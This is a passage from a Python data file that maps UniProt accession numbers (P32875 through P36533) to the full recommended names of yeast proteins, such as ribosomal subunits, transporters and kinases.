'P32875' : ntuniprot(RecName_Full='Lipoyl synthase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03123}'),
'P32891' : ntuniprot(RecName_Full='D-lactate dehydrogenase [cytochrome] 1, mitochondrial'),
'P32892' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DRS1'),
'P32893' : ntuniprot(RecName_Full='Trafficking protein particle complex II-specific subunit 65'),
'P32895' : ntuniprot(RecName_Full='Ribose-phosphate pyrophosphokinase 1'),
'P32896' : ntuniprot(RecName_Full='Protein PDC2'),
'P32897' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM23'),
'P32898' : ntuniprot(RecName_Full='Mitochondrial presequence protease'),
'P32899' : ntuniprot(RecName_Full='U3 small nucleolar ribonucleoprotein protein IMP3'),
'P32900' : ntuniprot(RecName_Full='Protein SKG6'),
'P32901' : ntuniprot(RecName_Full='Peptide transporter PTR2'),
'P32902' : ntuniprot(RecName_Full='37S ribosomal protein MRP4, mitochondrial'),
'P32903' : ntuniprot(RecName_Full='Plasma membrane ATPase proteolipid 1'),
'P32904' : ntuniprot(RecName_Full='54S ribosomal protein L6, mitochondrial'),
'P32905' : ntuniprot(RecName_Full='40S ribosomal protein S0-A {ECO:0000255|HAMAP-Rule:MF_03015, ECO:0000303|PubMed:9559554}'),
'P32906' : ntuniprot(RecName_Full='Endoplasmic reticulum mannosyl-oligosaccharide 1,2-alpha-mannosidase'),
'P32907' : ntuniprot(RecName_Full='Ammonia transport outward protein 2'),
'P32908' : ntuniprot(RecName_Full='Structural maintenance of chromosomes protein 1'),
'P32909' : ntuniprot(RecName_Full='Protein SMY2'),
'P32910' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC6'),
'P32911' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor eIF-1'),
'P32912' : ntuniprot(RecName_Full='Vacuolar morphogenesis protein 7'),
'P32913' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 17'),
'P32914' : ntuniprot(RecName_Full='Transcription elongation factor SPT4'),
'P32915' : ntuniprot(RecName_Full='Protein transport protein SEC61'),
'P32916' : ntuniprot(RecName_Full='Signal recognition particle receptor subunit alpha homolog'),
'P32917' : ntuniprot(RecName_Full='Protein STE5'),
'P32939' : ntuniprot(RecName_Full='GTP-binding protein YPT7'),
'P32943' : ntuniprot(RecName_Full='S-phase entry cyclin-6'),
'P32944' : ntuniprot(RecName_Full='Mitosis inhibitor protein kinase SWE1'),
'P32945' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PPQ'),
'P33122' : ntuniprot(RecName_Full='Serine-rich protein TYE7'),
'P33199' : ntuniprot(RecName_Full='Uncharacterized protein YGL015C'),
'P33200' : ntuniprot(RecName_Full='Transcription factor PDR3'),
'P33201' : ntuniprot(RecName_Full='Ribosome assembly factor MRT4 {ECO:0000303|PubMed:19346338}'),
'P33202' : ntuniprot(RecName_Full='Ubiquitin fusion degradation protein 4'),
'P33203' : ntuniprot(RecName_Full='Pre-mRNA-processing protein PRP40'),
'P33204' : ntuniprot(RecName_Full='Actin-related protein 2/3 complex subunit 4'),
'P33296' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2 6'),
'P33297' : ntuniprot(RecName_Full='26S proteasome regulatory subunit 6A'),
'P33298' : ntuniprot(RecName_Full='26S proteasome regulatory subunit 6B homolog'),
'P33299' : ntuniprot(RecName_Full='26S proteasome regulatory subunit 7 homolog'),
'P33300' : ntuniprot(RecName_Full='Mannosyl phosphorylinositol ceramide synthase SUR1'),
'P33301' : ntuniprot(RecName_Full='DNA repair protein XRS2'),
'P33302' : ntuniprot(RecName_Full='Pleiotropic ABC efflux transporter of multiple drugs'),
'P33303' : ntuniprot(RecName_Full='Succinate/fumarate mitochondrial transporter'),
'P33304' : ntuniprot(RecName_Full='Protein AFR1'),
'P33306' : ntuniprot(RecName_Full='Protein BCK2'),
'P33307' : ntuniprot(RecName_Full='Importin alpha re-exporter'),
'P33308' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 9'),
'P33309' : ntuniprot(RecName_Full='Protein DOM34'),
'P33310' : ntuniprot(RecName_Full='ATP-dependent permease MDL1, mitochondrial'),
'P33311' : ntuniprot(RecName_Full='ATP-dependent permease MDL2, mitochondrial'),
'P33312' : ntuniprot(RecName_Full="2,5-diamino-6-ribosylamino-4(3H)-pyrimidinone 5'-phosphate reductase"),
'P33313' : ntuniprot(RecName_Full='Hsp70/Hsp90 co-chaperone CNS1'),
'P33314' : ntuniprot(RecName_Full='Inhibitory regulator protein BUD2/CLA2'),
'P33315' : ntuniprot(RecName_Full='Transketolase 2'),
'P33317' : ntuniprot(RecName_Full="Deoxyuridine 5'-triphosphate nucleotidohydrolase"),
'P33322' : ntuniprot(RecName_Full='H/ACA ribonucleoprotein complex subunit CBF5'),
'P33323' : ntuniprot(RecName_Full='Meiotic recombination protein REC104'),
'P33324' : ntuniprot(RecName_Full='CRAL-TRIO domain-containing protein YKL091C'),
'P33327' : ntuniprot(RecName_Full='NAD-specific glutamate dehydrogenase'),
'P33328' : ntuniprot(RecName_Full='Synaptobrevin homolog 2'),
'P33329' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP-Z2'),
'P33330' : ntuniprot(RecName_Full='Phosphoserine aminotransferase'),
'P33331' : ntuniprot(RecName_Full='Nuclear transport factor 2'),
'P33332' : ntuniprot(RecName_Full='Exocyst complex component SEC3'),
'P33333' : ntuniprot(RecName_Full='Probable 1-acyl-sn-glycerol-3-phosphate acyltransferase'),
'P33334' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor 8'),
'P33335' : ntuniprot(RecName_Full='Protein SGE1'),
'P33336' : ntuniprot(RecName_Full='Beta-glucan synthesis-associated protein SKN1'),
'P33338' : ntuniprot(RecName_Full='Protein SLA2'),
'P33339' : ntuniprot(RecName_Full='Transcription factor tau 131 kDa subunit'),
'P33399' : ntuniprot(RecName_Full='La protein homolog'),
'P33400' : ntuniprot(RecName_Full='pH-response transcription factor pacC/RIM101'),
'P33401' : ntuniprot(RecName_Full='Phosphoglucomutase 1 {ECO:0000303|PubMed:5784209}'),
'P33411' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor 18'),
'P33412' : ntuniprot(RecName_Full='Ethanolamine-phosphate cytidylyltransferase'),
'P33413' : ntuniprot(RecName_Full='Urea active transporter'),
'P33416' : ntuniprot(RecName_Full='Heat shock protein 78, mitochondrial'),
'P33417' : ntuniprot(RecName_Full='Intrastrand cross-link recognition protein'),
'P33418' : ntuniprot(RecName_Full='Exportin-T'),
'P33419' : ntuniprot(RecName_Full='Spindle pole component 29'),
'P33420' : ntuniprot(RecName_Full='Protein NIP100'),
'P33421' : ntuniprot(RecName_Full='Succinate dehydrogenase [ubiquinone] cytochrome b subunit, mitochondrial'),
'P33441' : ntuniprot(RecName_Full='THO complex subunit MFT1'),
'P33442' : ntuniprot(RecName_Full='40S ribosomal protein S1-A {ECO:0000255|HAMAP-Rule:MF_03122, ECO:0000303|PubMed:9559554}'),
'P33448' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM6'),
'P33550' : ntuniprot(RecName_Full='Probable mannosyltransferase KTR2'),
'P33734' : ntuniprot(RecName_Full='Imidazole glycerol phosphate synthase hisHF'),
'P33748' : ntuniprot(RecName_Full='Zinc finger protein MSN2'),
'P33749' : ntuniprot(RecName_Full='Zinc finger protein MSN4'),
'P33750' : ntuniprot(RecName_Full='Protein SOF1'),
'P33751' : ntuniprot(RecName_Full='Flavin prenyltransferase PAD1, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03197, ECO:0000305}'),
'P33753' : ntuniprot(RecName_Full='tRNA (uracil(54)-C(5))-methyltransferase'),
'P33754' : ntuniprot(RecName_Full='Translocation protein SEC66'),
'P33755' : ntuniprot(RecName_Full='Nuclear protein localization protein 4'),
'P33757' : ntuniprot(RecName_Full='Sporulation protein 23'),
'P33759' : ntuniprot(RecName_Full='37S ribosomal protein S5, mitochondrial'),
'P33760' : ntuniprot(RecName_Full='Peroxisomal ATPase PEX6'),
'P33767' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit WBP1'),
'P33775' : ntuniprot(RecName_Full='Dolichyl-phosphate-mannose--protein mannosyltransferase 1 {ECO:0000305}'),
'P33890' : ntuniprot(RecName_Full='Cold shock-induced protein TIR2'),
'P33891' : ntuniprot(RecName_Full='Protein transport protein TIP20'),
'P33892' : ntuniprot(RecName_Full='eIF-2-alpha kinase activator GCN1 {ECO:0000305}'),
'P33893' : ntuniprot(RecName_Full='Glutamyl-tRNA(Gln) amidotransferase subunit B, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03147}'),
'P33894' : ntuniprot(RecName_Full='Dipeptidyl aminopeptidase A'),
'P33895' : ntuniprot(RecName_Full='Kinetochore protein NUF2'),
'P34072' : ntuniprot(RecName_Full='Negative regulator of RAS-cAMP pathway'),
'P34077' : ntuniprot(RecName_Full='Nucleoporin NIC96'),
'P34078' : ntuniprot(RecName_Full='Protein LTV1'),
'P34087' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB7'),
'P34110' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 35'),
'P34111' : ntuniprot(RecName_Full='Transcription factor tau 138 kDa subunit'),
'P34160' : ntuniprot(RecName_Full='Nuclear cap-binding protein complex subunit 1'),
'P34161' : ntuniprot(RecName_Full='Homeobox protein YOX1'),
'P34162' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 20'),
'P34163' : ntuniprot(RecName_Full='Sterol esterase TGL1'),
'P34164' : ntuniprot(RecName_Full='SNF1 protein kinase subunit beta-2'),
'P34165' : ntuniprot(RecName_Full='Mating hormone A-factor 1'),
'P34166' : ntuniprot(RecName_Full='Mating hormone A-factor 2'),
'P34167' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 4B'),
'P34216' : ntuniprot(RecName_Full='EH domain-containing and endocytosis protein 1'),
'P34217' : ntuniprot(RecName_Full='RNA-binding protein PIN4'),
'P34218' : ntuniprot(RecName_Full='Histone acetyltransferase SAS3'),
'P34219' : ntuniprot(RecName_Full='Transcriptional regulatory protein TOD6'),
'P34220' : ntuniprot(RecName_Full='Deoxyribonuclease Tat-D'),
'P34221' : ntuniprot(RecName_Full='Protein phosphatase 2C homolog 3'),
'P34222' : ntuniprot(RecName_Full='Peptidyl-tRNA hydrolase 2'),
'P34223' : ntuniprot(RecName_Full='UBX domain-containing protein 1'),
'P34224' : ntuniprot(RecName_Full='Uncharacterized protein YBL059W'),
'P34225' : ntuniprot(RecName_Full='Guanine-nucleotide exchange factor YEL1'),
'P34226' : ntuniprot(RecName_Full='Protein SKT5'),
'P34227' : ntuniprot(RecName_Full='Peroxiredoxin PRX1, mitochondrial {ECO:0000305}'),
'P34228' : ntuniprot(RecName_Full='Putative transcription factor SEF1'),
'P34230' : ntuniprot(RecName_Full='Peroxisomal long-chain fatty acid import protein 1'),
'P34231' : ntuniprot(RecName_Full='Uncharacterized protein YKL187C'),
'P34232' : ntuniprot(RecName_Full='mRNA transport regulator MTR2'),
'P34233' : ntuniprot(RecName_Full='Transcriptional regulatory protein ASH1'),
'P34234' : ntuniprot(RecName_Full='Protein LOT5'),
'P34237' : ntuniprot(RecName_Full='Protein CASP'),
'P34239' : ntuniprot(RecName_Full='Protein LST4'),
'P34240' : ntuniprot(RecName_Full='Zinc-regulated transporter 3'),
'P34241' : ntuniprot(RecName_Full='Nucleolar pre-ribosomal-associated protein 1'),
'P34243' : ntuniprot(RecName_Full='DNA polymerase alpha-associated DNA helicase A'),
'P34244' : ntuniprot(RecName_Full='Probable serine/threonine-protein kinase HSL1'),
'P34246' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 2'),
'P34247' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 11'),
'P34248' : ntuniprot(RecName_Full='Probable intramembrane protease YKL100C'),
'P34250' : ntuniprot(RecName_Full='Eisosome protein SEG2'),
'P34251' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase YKL107W'),
'P34252' : ntuniprot(RecName_Full='DNA replication regulator SLD2'),
'P34253' : ntuniprot(RecName_Full='Protein KTI12'),
'P34730' : ntuniprot(RecName_Full='Protein BMH2'),
'P34756' : ntuniprot(RecName_Full='1-phosphatidylinositol 3-phosphate 5-kinase FAB1'),
'P34758' : ntuniprot(RecName_Full='Protein SCD5'),
'P34760' : ntuniprot(RecName_Full='Peroxiredoxin TSA1 {ECO:0000305}'),
'P34761' : ntuniprot(RecName_Full='Protein WHI3'),
'P34909' : ntuniprot(RecName_Full='General negative regulator of transcription subunit 4'),
'P35056' : ntuniprot(RecName_Full='Peroxisomal targeting signal receptor'),
'P35127' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase YUH1'),
'P35169' : ntuniprot(RecName_Full='Serine/threonine-protein kinase TOR1'),
'P35172' : ntuniprot(RecName_Full='Probable trehalase'),
'P35176' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase D'),
'P35177' : ntuniprot(RecName_Full='Transcriptional activator SPT7'),
'P35178' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 1'),
'P35179' : ntuniprot(RecName_Full='Protein transport protein SSS1'),
'P35180' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM20'),
'P35181' : ntuniprot(RecName_Full='AP-1 complex subunit sigma-1'),
'P35182' : ntuniprot(RecName_Full='Protein phosphatase 2C homolog 1'),
'P35183' : ntuniprot(RecName_Full='Protein AST1'),
'P35184' : ntuniprot(RecName_Full='Ribosome assembly protein SQT1'),
'P35187' : ntuniprot(RecName_Full='ATP-dependent helicase SGS1 {ECO:0000303|PubMed:7969174}'),
'P35189' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 14'),
'P35190' : ntuniprot(RecName_Full='PHO85 cyclin CLG1'),
'P35191' : ntuniprot(RecName_Full='DnaJ homolog 1, mitochondrial'),
'P35192' : ntuniprot(RecName_Full='Metal-binding activator 1'),
'P35193' : ntuniprot(RecName_Full='Autophagy-related protein 19'),
'P35194' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 20'),
'P35195' : ntuniprot(RecName_Full='UPF0045 protein ECM15'),
'P35196' : ntuniprot(RecName_Full='Dehydrodolichyl diphosphate synthase complex subunit RER2 {ECO:0000305}'),
'P35197' : ntuniprot(RecName_Full='ADP-ribosylation factor GTPase-activating protein GCS1'),
'P35198' : ntuniprot(RecName_Full='Protein MTH1'),
'P35200' : ntuniprot(RecName_Full='Protein UPS2, mitochondrial'),
'P35201' : ntuniprot(RecName_Full='Inner kinetochore subunit MIF2 {ECO:0000305}'),
'P35202' : ntuniprot(RecName_Full='Thiamine pyrophosphokinase'),
'P35203' : ntuniprot(RecName_Full='Centromere DNA-binding protein complex CBF3 subunit C'),
'P35206' : ntuniprot(RecName_Full='Mannosyl phosphorylinositol ceramide synthase regulatory protein CSG2'),
'P35207' : ntuniprot(RecName_Full='Antiviral helicase SKI2'),
'P35208' : ntuniprot(RecName_Full='Protein SPT10'),
'P35209' : ntuniprot(RecName_Full='Protein SPT21'),
'P35210' : ntuniprot(RecName_Full='Protein SPT23'),
'P35497' : ntuniprot(RecName_Full='Sorbitol dehydrogenase 1'),
'P35688' : ntuniprot(RecName_Full='Rho-GTPase-activating protein LRG1'),
'P35691' : ntuniprot(RecName_Full='Translationally-controlled tumor protein homolog'),
'P35718' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC8'),
'P35719' : ntuniprot(RecName_Full='Uncharacterized protein MRP8'),
'P35723' : ntuniprot(RecName_Full='Endoplasmic reticulum transmembrane protein 1'),
'P35724' : ntuniprot(RecName_Full='Manganese resistance protein MNR2'),
'P35725' : ntuniprot(RecName_Full='Uncharacterized protein YKL063C'),
'P35727' : ntuniprot(RecName_Full='Biogenesis of lysosome-related organelles complex 1 subunit BLI1'),
'P35728' : ntuniprot(RecName_Full='Protein MPE1'),
'P35729' : ntuniprot(RecName_Full='Nucleoporin NUP120'),
'P35731' : ntuniprot(RecName_Full='3-oxoacyl-[acyl-carrier-protein] reductase'),
'P35732' : ntuniprot(RecName_Full='RNA polymerase II degradation factor 1'),
'P35734' : ntuniprot(RecName_Full='DASH complex subunit ASK1'),
'P35735' : ntuniprot(RecName_Full='Protein SFK1'),
'P35736' : ntuniprot(RecName_Full='Uncharacterized protein YKL050C'),
'P35817' : ntuniprot(RecName_Full='Bromodomain-containing factor 1'),
'P35842' : ntuniprot(RecName_Full='Acid phosphatase PHO11'),
'P35843' : ntuniprot(RecName_Full='Protein HES1'),
'P35844' : ntuniprot(RecName_Full='Oxysterol-binding protein homolog 4'),
'P35845' : ntuniprot(RecName_Full='Oxysterol-binding protein homolog 1'),
'P35994' : ntuniprot(RecName_Full='Seripauperin-16'),
'P35995' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein YKL222C'),
'P35996' : ntuniprot(RecName_Full='54S ribosomal protein L38, mitochondrial'),
'P35997' : ntuniprot(RecName_Full='40S ribosomal protein S27-A {ECO:0000303|PubMed:9559554}'),
'P35999' : ntuniprot(RecName_Full='Mitochondrial intermediate peptidase'),
'P36000' : ntuniprot(RecName_Full='AP-1 complex subunit beta-1'),
'P36001' : ntuniprot(RecName_Full='Probable folylpolyglutamate synthase'),
'P36002' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PTK1/STK1'),
'P36003' : ntuniprot(RecName_Full='Nitrogen network kinase 1'),
'P36004' : ntuniprot(RecName_Full='Probable serine/threonine-protein kinase KKQ8'),
'P36005' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KDX1'),
'P36006' : ntuniprot(RecName_Full='Myosin-3'),
'P36007' : ntuniprot(RecName_Full='L-threo-3-hydroxyaspartate ammonia-lyase {ECO:0000305|PubMed:12951240}'),
'P36008' : ntuniprot(RecName_Full='Elongation factor 1-gamma 2'),
'P36009' : ntuniprot(RecName_Full='Probable ATP-dependent RNA helicase DHR2'),
'P36010' : ntuniprot(RecName_Full='Nucleoside diphosphate kinase {ECO:0000303|PubMed:5793714}'),
'P36012' : ntuniprot(RecName_Full='Histone H3-like centromeric protein CSE4'),
'P36013' : ntuniprot(RecName_Full='NAD-dependent malic enzyme, mitochondrial'),
'P36014' : ntuniprot(RecName_Full='Glutathione peroxidase-like peroxiredoxin 1 {ECO:0000305}'),
'P36015' : ntuniprot(RecName_Full='Synaptobrevin homolog YKT6'),
'P36016' : ntuniprot(RecName_Full='Heat shock protein 70 homolog LHS1'),
'P36017' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 21'),
'P36018' : ntuniprot(RecName_Full='GTP-binding protein YPT52'),
'P36019' : ntuniprot(RecName_Full='GTP-binding protein YPT53'),
'P36022' : ntuniprot(RecName_Full='Dynein heavy chain, cytoplasmic'),
'P36023' : ntuniprot(RecName_Full='Oleate activated transcription factor 3'),
'P36024' : ntuniprot(RecName_Full='Phosphopantothenoylcysteine decarboxylase subunit SIS2'),
'P36025' : ntuniprot(RecName_Full='Uncharacterized protein YOR062C'),
'P36026' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 11'),
'P36027' : ntuniprot(RecName_Full='Cell wall integrity sensor MID2'),
'P36029' : ntuniprot(RecName_Full='Polyamine transporter TPO5'),
'P36032' : ntuniprot(RecName_Full='Probable transporter MCH2'),
'P36033' : ntuniprot(RecName_Full='Ferric/cupric reductase transmembrane component 2'),
'P36034' : ntuniprot(RecName_Full='Protein COS9'),
'P36035' : ntuniprot(RecName_Full='Carboxylic acid transporter protein homolog'),
'P36036' : ntuniprot(RecName_Full='RNA annealing protein YRA2'),
'P36037' : ntuniprot(RecName_Full='Protein DOA1 {ECO:0000303|PubMed:2111732}'),
'P36038' : ntuniprot(RecName_Full='Cytochrome b termination protein 1'),
'P36039' : ntuniprot(RecName_Full='ER membrane protein complex subunit 3'),
'P36040' : ntuniprot(RecName_Full='Proteasome assembly chaperone 2'),
'P36041' : ntuniprot(RecName_Full='Protein EAP1'),
'P36044' : ntuniprot(RecName_Full='Protein MNN4'),
'P36046' : ntuniprot(RecName_Full='Mitochondrial intermembrane space import and assembly protein 40'),
'P36047' : ntuniprot(RecName_Full='Protein phosphatase 1 regulatory subunit SDS22'),
'P36048' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SNU114'),
'P36049' : ntuniprot(RecName_Full='rRNA-processing protein EBP2'),
'P36051' : ntuniprot(RecName_Full='GPI ethanolamine phosphate transferase 1'),
'P36052' : ntuniprot(RecName_Full='Protein arginine methyltransferase NDUFAF7 homolog, mitochondrial {ECO:0000250|UniProtKB:Q7L592}'),
'P36053' : ntuniprot(RecName_Full='Transcription elongation factor 1'),
'P36054' : ntuniprot(RecName_Full='Calcipressin-like protein'),
'P36056' : ntuniprot(RecName_Full='Probable S-adenosyl-L-methionine-dependent RNA methyltransferase RSM22, mitochondrial'),
'P36057' : ntuniprot(RecName_Full='Signal recognition particle receptor subunit beta'),
'P36059' : ntuniprot(RecName_Full='ATP-dependent (S)-NAD(P)H-hydrate dehydratase {ECO:0000255|HAMAP-Rule:MF_03157}'),
'P36060' : ntuniprot(RecName_Full='NADH-cytochrome b5 reductase 2'),
'P36062' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 3'),
'P36064' : ntuniprot(RecName_Full='COX assembly mitochondrial protein'),
'P36066' : ntuniprot(RecName_Full='Protein MRG3-like'),
'P36068' : ntuniprot(RecName_Full='SWI5-dependent HO expression protein 2'),
'P36069' : ntuniprot(RecName_Full='Probable phosphoglycerate mutase PMU1'),
'P36070' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN3'),
'P36075' : ntuniprot(RecName_Full='Ubiquitin-binding protein CUE2'),
'P36076' : ntuniprot(RecName_Full='Coenzyme A biosynthesis protein 3'),
'P36077' : ntuniprot(RecName_Full='Sulfiredoxin'),
'P36078' : ntuniprot(RecName_Full='Helper of Tim protein 13'),
'P36080' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 14'),
'P36081' : ntuniprot(RecName_Full='Uncharacterized protein YKL077W'),
'P36083' : ntuniprot(RecName_Full='Uncharacterized protein YKL075C'),
'P36084' : ntuniprot(RecName_Full='Splicing factor MUD2'),
'P36085' : ntuniprot(RecName_Full='Protein STB6'),
'P36086' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase YKL071W'),
'P36087' : ntuniprot(RecName_Full='Uncharacterized protein YKL070W'),
'P36088' : ntuniprot(RecName_Full='Free methionine-R-sulfoxide reductase'),
'P36090' : ntuniprot(RecName_Full='Uncharacterized protein ANR2'),
'P36091' : ntuniprot(RecName_Full='Mannan endo-1,6-alpha-mannosidase DCW1'),
'P36092' : ntuniprot(RecName_Full='Uncharacterized protein YKL044W'),
'P36093' : ntuniprot(RecName_Full='Putative transcription factor PHD1'),
'P36094' : ntuniprot(RecName_Full='Spindle pole body component SPC42'),
'P36095' : ntuniprot(RecName_Full='Vacuolar protein-sorting-associated protein 24'),
'P36096' : ntuniprot(RecName_Full='Transmembrane E3 ubiquitin-protein ligase 1'),
'P36097' : ntuniprot(RecName_Full='TEL2-interacting protein 1'),
'P36100' : ntuniprot(RecName_Full='Transcription initiation factor IIE subunit alpha'),
'P36101' : ntuniprot(RecName_Full='tRNA threonylcarbamoyladenosine dehydratase 2'),
'P36102' : ntuniprot(RecName_Full='PAN2-PAN3 deadenylation complex subunit PAN3 {ECO:0000255|HAMAP-Rule:MF_03181, ECO:0000305}'),
'P36103' : ntuniprot(RecName_Full='Uncharacterized protein YKL023W'),
'P36104' : ntuniprot(RecName_Full='COMPASS component SWD2'),
'P36105' : ntuniprot(RecName_Full='60S ribosomal protein L14-A {ECO:0000303|PubMed:9559554}'),
'P36106' : ntuniprot(RecName_Full='Transcription factor BYE1'),
'P36107' : ntuniprot(RecName_Full='Inositol phosphorylceramide synthase catalytic subunit AUR1'),
'P36108' : ntuniprot(RecName_Full='DOA4-independent degradation protein 4'),
'P36110' : ntuniprot(RecName_Full='Protein PRY2'),
'P36111' : ntuniprot(RecName_Full='Uncharacterized protein YKR015C'),
'P36112' : ntuniprot(RecName_Full='MICOS complex subunit MIC60'),
'P36113' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase HEL1 {ECO:0000305|PubMed:22570702}'),
'P36114' : ntuniprot(RecName_Full='IML2-like protein YKR018C'),
'P36115' : ntuniprot(RecName_Full='Increased rDNA silencing protein 4'),
'P36116' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 51'),
'P36117' : ntuniprot(RecName_Full='Arrestin-related trafficking adapter 6'),
'P36118' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor NTR2'),
'P36119' : ntuniprot(RecName_Full='Uncharacterized protein YKR023W'),
'P36120' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP7'),
'P36121' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC5'),
'P36122' : ntuniprot(RecName_Full='Protein BCH2'),
'P36123' : ntuniprot(RecName_Full='SIT4-associating protein SAP190'),
'P36124' : ntuniprot(RecName_Full='SET domain-containing protein 3'),
'P36125' : ntuniprot(RecName_Full='Protein GMH1'),
'P36126' : ntuniprot(RecName_Full='Phospholipase D1'),
'P36130' : ntuniprot(RecName_Full='CCR4-associated factor 4'),
'P36131' : ntuniprot(RecName_Full='DASH complex subunit SPC34'),
'P36132' : ntuniprot(RecName_Full='tRNA N6-adenosine threonylcarbamoyltransferase {ECO:0000255|HAMAP-Rule:MF_03180}'),
'P36134' : ntuniprot(RecName_Full='Uncharacterized protein YKR041W'),
'P36135' : ntuniprot(RecName_Full='Probable secreted beta-glucosidase UTH1'),
'P36136' : ntuniprot(RecName_Full='Sedoheptulose 1,7-bisphosphatase'),
'P36137' : ntuniprot(RecName_Full='Protein UIP5'),
'P36138' : ntuniprot(RecName_Full='Uncharacterized protein YKR045C'),
'P36139' : ntuniprot(RecName_Full='Protein PET10'),
'P36141' : ntuniprot(RecName_Full='Putative redox protein FMP46, mitochondrial'),
'P36142' : ntuniprot(RecName_Full='Transmembrane protein 184 homolog YKR051W'),
'P36143' : ntuniprot(RecName_Full='Glycogenin-1'),
'P36144' : ntuniprot(RecName_Full='Ribosome biogenesis protein UTP30'),
'P36145' : ntuniprot(RecName_Full='Transcription initiation factor IIE subunit beta'),
'P36146' : ntuniprot(RecName_Full='Protein LAS1'),
'P36147' : ntuniprot(RecName_Full='Presequence translocated-associated motor subunit PAM17, mitochondrial'),
'P36148' : ntuniprot(RecName_Full='Glycerol-3-phosphate O-acyltransferase 2'),
'P36149' : ntuniprot(RecName_Full='Trafficking protein particle complex subunit BET3'),
'P36150' : ntuniprot(RecName_Full='Uroporphyrinogen-III C-methyltransferase'),
'P36151' : ntuniprot(RecName_Full='Uncharacterized protein YKR070W'),
'P36152' : ntuniprot(RecName_Full='Fe-S cluster assembly protein DRE2 {ECO:0000255|HAMAP-Rule:MF_03115}'),
'P36154' : ntuniprot(RecName_Full='Altered inheritance rate of mitochondria protein 29'),
'P36155' : ntuniprot(RecName_Full='Uncharacterized protein YKR075C'),
'P36156' : ntuniprot(RecName_Full='Glutathione S-transferase omega-like 2'),
'P36157' : ntuniprot(RecName_Full='Putative transcriptional activator MSA2'),
'P36158' : ntuniprot(RecName_Full='Uncharacterized protein YKR078W'),
'P36159' : ntuniprot(RecName_Full='Ribonuclease Z'),
'P36160' : ntuniprot(RecName_Full='Ribosome biogenesis protein RPF2'),
'P36161' : ntuniprot(RecName_Full='Nucleoporin NUP133'),
'P36162' : ntuniprot(RecName_Full='DASH complex subunit DAD2'),
'P36163' : ntuniprot(RecName_Full='Mitochondrial metalloendopeptidase OMA1'),
'P36164' : ntuniprot(RecName_Full='Golgi apparatus membrane protein TVP38'),
'P36165' : ntuniprot(RecName_Full='Lipase 4'),
'P36166' : ntuniprot(RecName_Full='Paxillin-like protein 1'),
'P36167' : ntuniprot(RecName_Full='Protein SRL3'),
'P36168' : ntuniprot(RecName_Full='EST/SMG-like protein 2 {ECO:0000303|PubMed:23893744}'),
'P36169' : ntuniprot(RecName_Full='Suppressor of lethality of KEX2 GAS1 double null mutant protein 1'),
'P36170' : ntuniprot(RecName_Full='Flocculation protein FLO10'),
'P36172' : ntuniprot(RecName_Full='Vacuolar basic amino acid transporter 5'),
'P36173' : ntuniprot(RecName_Full='Glutathione exchanger 2'),
'P36224' : ntuniprot(RecName_Full='Nuclear migration protein JNM1'),
'P36421' : ntuniprot(RecName_Full='Tyrosine--tRNA ligase, cytoplasmic'),
'P36516' : ntuniprot(RecName_Full='54S ribosomal protein L3, mitochondrial'),
'P36517' : ntuniprot(RecName_Full='54S ribosomal protein L4, mitochondrial'),
'P36519' : ntuniprot(RecName_Full='54S ribosomal protein L7, mitochondrial'),
'P36520' : ntuniprot(RecName_Full='54S ribosomal protein L10, mitochondrial'),
'P36521' : ntuniprot(RecName_Full='54S ribosomal protein L11, mitochondrial'),
'P36523' : ntuniprot(RecName_Full='54S ribosomal protein L15, mitochondrial'),
'P36525' : ntuniprot(RecName_Full='54S ribosomal protein L24, mitochondrial'),
'P36526' : ntuniprot(RecName_Full='54S ribosomal protein L27, mitochondrial'),
'P36527' : ntuniprot(RecName_Full='54S ribosomal protein L28, mitochondrial'),
'P36528' : ntuniprot(RecName_Full='54S ribosomal protein L17, mitochondrial'),
'P36531' : ntuniprot(RecName_Full='54S ribosomal protein L36, mitochondrial'),
'P36532' : ntuniprot(RecName_Full='54S ribosomal protein L37, mitochondrial'),
'P36533' : ntuniprot(RecName_Full='54S ribosomal protein L39, mitochondrial'),
